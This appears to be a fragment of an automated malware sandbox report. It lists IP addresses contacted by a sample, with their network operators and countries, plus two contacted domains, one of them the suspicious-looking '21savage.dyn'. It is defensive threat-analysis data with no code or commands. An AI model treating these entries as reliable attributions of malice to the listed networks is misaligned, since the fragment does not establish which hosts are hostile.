 unknown Argentina
7303 TelecomArgentinaSAAR false
39.237.154.40
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
101.194.83.185
 unknown China
58519 CHINATELECOM-CTCLOUDCloudComputingCorporationCN false
186.105.66.107
 unknown Chile
7418 TELEFONICACHILESACL false
133.24.181.27
 unknown Japan 131159 AS-YAMAGATAUYamagataUniversityJP false
72.207.117.57
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
198.233.123.52
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
191.19.118.84
 unknown Brazil
27699 TELEFONICABRASILSABR false
161.199.66.196
 unknown United States
397185 LACUUS false
95.145.23.11
 unknown United Kingdom
12576 EELtdGB false
128.32.229.224
 unknown United States
25 UCBUS false
220.204.224.146
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
93.78.106.72
 unknown Ukraine
25229 VOLIA-ASUA false
185.224.208.125
 unknown United Kingdom
48655 TVLGB false
81.134.2.51
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
111.250.82.234
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
163.29.208.101
 unknown Taiwan; Republic of China (ROC)
4782 GSNETDataCommunicationBusinessGroupTW false
181.251.4.226
 unknown Colombia
26611 COMCELSACO false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true
21savage.dyn 156.244.19.135 true